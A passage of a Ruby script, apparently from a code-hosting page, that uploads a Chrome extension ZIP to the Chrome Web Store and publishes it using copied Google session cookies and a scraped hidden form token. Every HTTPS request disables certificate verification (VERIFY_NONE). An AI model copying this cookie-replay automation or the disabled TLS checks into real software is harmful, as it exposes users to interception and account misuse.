http.open_timeout = HTTP_READ_OPEN_TIMEOUT
|
|
||||||
if uri.scheme == "https"
|
|
||||||
http.use_ssl = true
|
|
||||||
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
|
||||||
end
|
|
||||||
response = http.request(req)
|
|
||||||
return response
|
|
||||||
end
|
|
||||||
|
|
||||||
# defaults to English Language and Productivity category
|
|
||||||
def send_publish_request(uri, cx_auth_t, headers, action="publish")
|
|
||||||
|
|
||||||
uri = URI(uri)
|
|
||||||
req = Net::HTTP::Post.new(uri.request_uri, headers)
|
|
||||||
boundary = rand(14666338978986066131776338987).to_s.center(29, rand(29).to_s)
|
|
||||||
|
|
||||||
fields = {
|
|
||||||
"action" => action, "t" => cx_auth_t, "edit-locale" => "en_US", "desc" => DESCRIPTION, "screenshot" => SCREENSHOT_NAME, "cx-embed-box" => "",
|
|
||||||
"official_url" => "none", "homepage_url" => "", "support_url" => "", "categoryId" => "7-productivity", "tiers" => "0", "all-regions" => "1",
|
|
||||||
"cty-AR" => "1", "cty-AU" => "1", "cty-AT" => "1", "cty-BE" => "1", "cty-BR" => "1", "cty-CA" => "1", "cty-CN" => "1",
|
|
||||||
"cty-CZ" => "1", "cty-DK" => "1", "cty-EG" => "1", "cty-FI" => "1", "cty-FR" => "1", "cty-DE" => "1", "cty-HK" => "1",
|
|
||||||
"cty-IN" => "1", "cty-ID" => "1", "cty-IL" => "1", "cty-IT" => "1", "cty-JP" => "1", "cty-MY" => "1", "cty-MX" => "1",
|
|
||||||
"cty-MA" => "1", "cty-NL" => "1", "cty-NZ" => "1", "cty-NO" => "1", "cty-PH" => "1", "cty-PL" => "1", "cty-PT" => "1",
|
|
||||||
"cty-RU" => "1", "cty-SA" => "1", "cty-SG" => "1", "cty-ES" => "1", "cty-SE" => "1", "cty-CH" => "1", "cty-TW" => "1",
|
|
||||||
"cty-TH" => "1", "cty-TR" => "1", "cty-UA" => "1", "cty-AE" => "1", "cty-GB" => "1", "cty-US" => "1", "cty-VN" => "1",
|
|
||||||
"language" => "en", "openid_realm" => "", "analytics_account_id" => "", "extensionAdsBehavior" => "", "publish-destination" => "PUBLIC",
|
|
||||||
"ignore" => "true", "payment-type" => "free", "subscription-period" => "none", "logo128-image" => "",
|
|
||||||
}
|
|
||||||
|
|
||||||
post_body = []
|
|
||||||
post_body << "-----------------------------#{boundary}\r\n"
|
|
||||||
fields.each do |key,value|
|
|
||||||
if key == "screenshot"
|
|
||||||
# screenshot must be treated differently
|
|
||||||
post_body << "Content-Disposition: form-data; name=\"#{key}\"; filename=\"" + (value ? File.basename(value) : '' )+ "\"\r\n"
|
|
||||||
post_body << "Content-Type: application/octet-stream\r\n\r\n"
|
|
||||||
post_body << (value ? File.read(value) : '')
|
|
||||||
post_body << "\r\n"
|
|
||||||
post_body << "-----------------------------#{boundary}\r\n"
|
|
||||||
next
|
|
||||||
elsif key == "logo128-image"
|
|
||||||
post_body << "Content-Disposition: form-data; name=\"#{key}\"; filename=\"" + (ICON_NAME ? File.basename(ICON_NAME) : '') + "\"\r\n"
|
|
||||||
post_body << "Content-Type: application/octet-stream\r\n\r\n"
|
|
||||||
post_body << ICON
|
|
||||||
post_body << "\r\n"
|
|
||||||
post_body << "-----------------------------#{boundary}\r\n"
|
|
||||||
next
|
|
||||||
end
|
|
||||||
post_body << "Content-Disposition: form-data; name=\"#{key}\"\r\n"
|
|
||||||
post_body << "\r\n"
|
|
||||||
post_body << "#{value}\r\n"
|
|
||||||
if key == "logo128-image"
|
|
||||||
post_body << "-----------------------------#{boundary}--\r\n"
|
|
||||||
break
|
|
||||||
else
|
|
||||||
post_body << "-----------------------------#{boundary}\r\n"
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
req.body = post_body.join
|
|
||||||
|
|
||||||
|
|
||||||
req["Content-Type"] = "multipart/form-data; boundary=---------------------------#{boundary}"
|
|
||||||
|
|
||||||
http = nil
|
|
||||||
if USE_PROXY
|
|
||||||
http = Net::HTTP.new(uri.host, uri.port, PROXY_HOST, PROXY_PORT)
|
|
||||||
else
|
|
||||||
http = Net::HTTP.new(uri.host, uri.port)
|
|
||||||
end
|
|
||||||
|
|
||||||
http.read_timeout = HTTP_READ_OPEN_TIMEOUT
|
|
||||||
http.open_timeout = HTTP_READ_OPEN_TIMEOUT
|
|
||||||
if uri.scheme == "https"
|
|
||||||
http.use_ssl = true
|
|
||||||
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
|
||||||
end
|
|
||||||
response = http.request(req)
|
|
||||||
return response
|
|
||||||
end
|
|
||||||
|
|
||||||
puts "[+] Reading manifest..."
|
|
||||||
Zip::File.open(EXT_ZIP_NAME) do |zip_file|
|
|
||||||
entry = zip_file.glob('manifest.json').first
|
|
||||||
manifest = JSON.parse(entry.get_input_stream.read)
|
|
||||||
ICON_NAME = manifest['icons']['128']
|
|
||||||
puts "[+] Found icon: #{ICON_NAME}"
|
|
||||||
ICON = zip_file.glob(ICON_NAME).first.get_input_stream.read
|
|
||||||
ICON.force_encoding 'utf-8'
|
|
||||||
end
|
|
||||||
|
|
||||||
upload_url = "https://chrome.google.com/webstore/developer/upload"
|
|
||||||
post_body = '{"protocolVersion":"0.8","createSessionRequest":{"fields":[{"external":{"name":"file","filename":'+
|
|
||||||
'"' + File.basename(EXT_ZIP_NAME) + '","put":{},"size":' + File.new(EXT_ZIP_NAME).size.to_s + '}},{"inlined":{"name":"extension_id","content":'+
|
|
||||||
'"null","contentType":"text/plain"}},{"inlined":{"name":"package_id","content":"main","contentType":"text/plain"}},'+
|
|
||||||
'{"inlined":{"name":"publisher_id","content":"' + G_PUBLISHER_ID + '","contentType":"text/plain"}},'+
|
|
||||||
'{"inlined":{"name":"language_code","content":"en-US","contentType":"text/plain"}}]}}'
|
|
||||||
|
|
||||||
auth_headers = {'Cookie'=> "SID=#{SID}; HSID=#{HSID}; SSID=#{SSID};"}
|
|
||||||
|
|
||||||
upload_auth_resp = request(upload_url, 'POST', auth_headers, post_body)
|
|
||||||
upload_status = JSON.parse(upload_auth_resp.body)
|
|
||||||
if upload_status['errorMessage'] == nil
|
|
||||||
upload_id = upload_status['sessionStatus']['upload_id']
|
|
||||||
upload_url = "https://chrome.google.com/webstore/developer/upload?upload_id=#{upload_id}&file_id=000"
|
|
||||||
|
|
||||||
puts "[+] Uploading ZIP..."
|
|
||||||
response = request_octetstream(upload_url, auth_headers)
|
|
||||||
|
|
||||||
upload_status = JSON.parse(response.body)
|
|
||||||
if upload_status['errorMessage'] == nil && upload_status['sessionStatus']['state'] == "FINALIZED"
|
|
||||||
extension_id = upload_status['sessionStatus']['additionalInfo']['uploader_service.GoogleRupioAdditionalInfo']['completionInfo']['customerSpecificInfo']['extension_id']
|
|
||||||
puts "[+] Extension uploaded successful. Extension ID: #{extension_id}"
|
|
||||||
|
|
||||||
# Last request, to Publish the extension, requires Language/Category to be set.
|
|
||||||
# A multipart/form-data request is sent, but we first need to get an hidden form field "cx-action-t" value,
|
|
||||||
# then send the final multipart/form-data request with that value inside.
|
|
||||||
puts "[+] Fetching edit page..."
|
|
||||||
edit_ext_url = "https://chrome.google.com/webstore/developer/edit/#{extension_id}"
|
|
||||||
edit_ext_resp = request(edit_ext_url, 'GET', auth_headers, nil)
|
|
||||||
|
|
||||||
cx_action_t = edit_ext_resp.body.split("id=\"cx-action-t\" name=\"t\" value=\"").last.split("\"").first
|
|
||||||
if cx_action_t.index('<') != nil # error
|
|
||||||
puts ['[-] Error: Session invalid, update cookies values']
|
|
||||||
exit 1
|
|
||||||
end
|
|
||||||
puts "[+] Retrieved cx-action-t hidden field value: #{cx_action_t}"
|
|
||||||
puts "[+] Sending #{ACTION} request..."
|
|
||||||
edit_ext_resp = send_publish_request(edit_ext_url, cx_action_t, auth_headers, ACTION)
|
|
||||||
|
|
||||||
if edit_ext_resp.is_a?(Net::HTTPRedirection)
|
|
||||||
puts "[+] Extension details (category/language) updated."
|
|
||||||
final_location = edit_ext_resp['Location']
|
|
||||||
if ACTION == 'publish'
|
|
||||||
puts "[+] Extension is in queue for publishing. URL: https://chrome.google.com#{final_location}"
|
|
||||||
else
|
|
||||||
puts "[+] Extension updated. URL: https://chrome.google.com#{final_location}"
|
|
||||||
end
|
|
||||||
else
|
|
||||||
if edit_ext_resp.body and edit_ext_resp.body.include?('Please fix the following errors:<ul>')
|
|
||||||
errors = edit_ext_resp.body.split("Please fix the following errors:<ul>").last.split("</ul>").first.gsub(/<[^>]*>/ui,' ')
|
|
||||||
puts "[-] Errors: #{errors}"
|
|
||||||
end
|
|
||||||
puts "[-] Error updating extension details. Anyway, the extension is uploaded."
|
|
||||||
end
|
|
||||||
else
|
|
||||||
puts "[-] Error: #{upload_status['errorMessage']}"
|
|
||||||
end
|
|
||||||
|
|
||||||
else
|
|
||||||
puts "[-] Error: #{upload_status['errorMessage']}"
|
|
||||||
end
|
|
||||||
Reference in New Issue
Block a user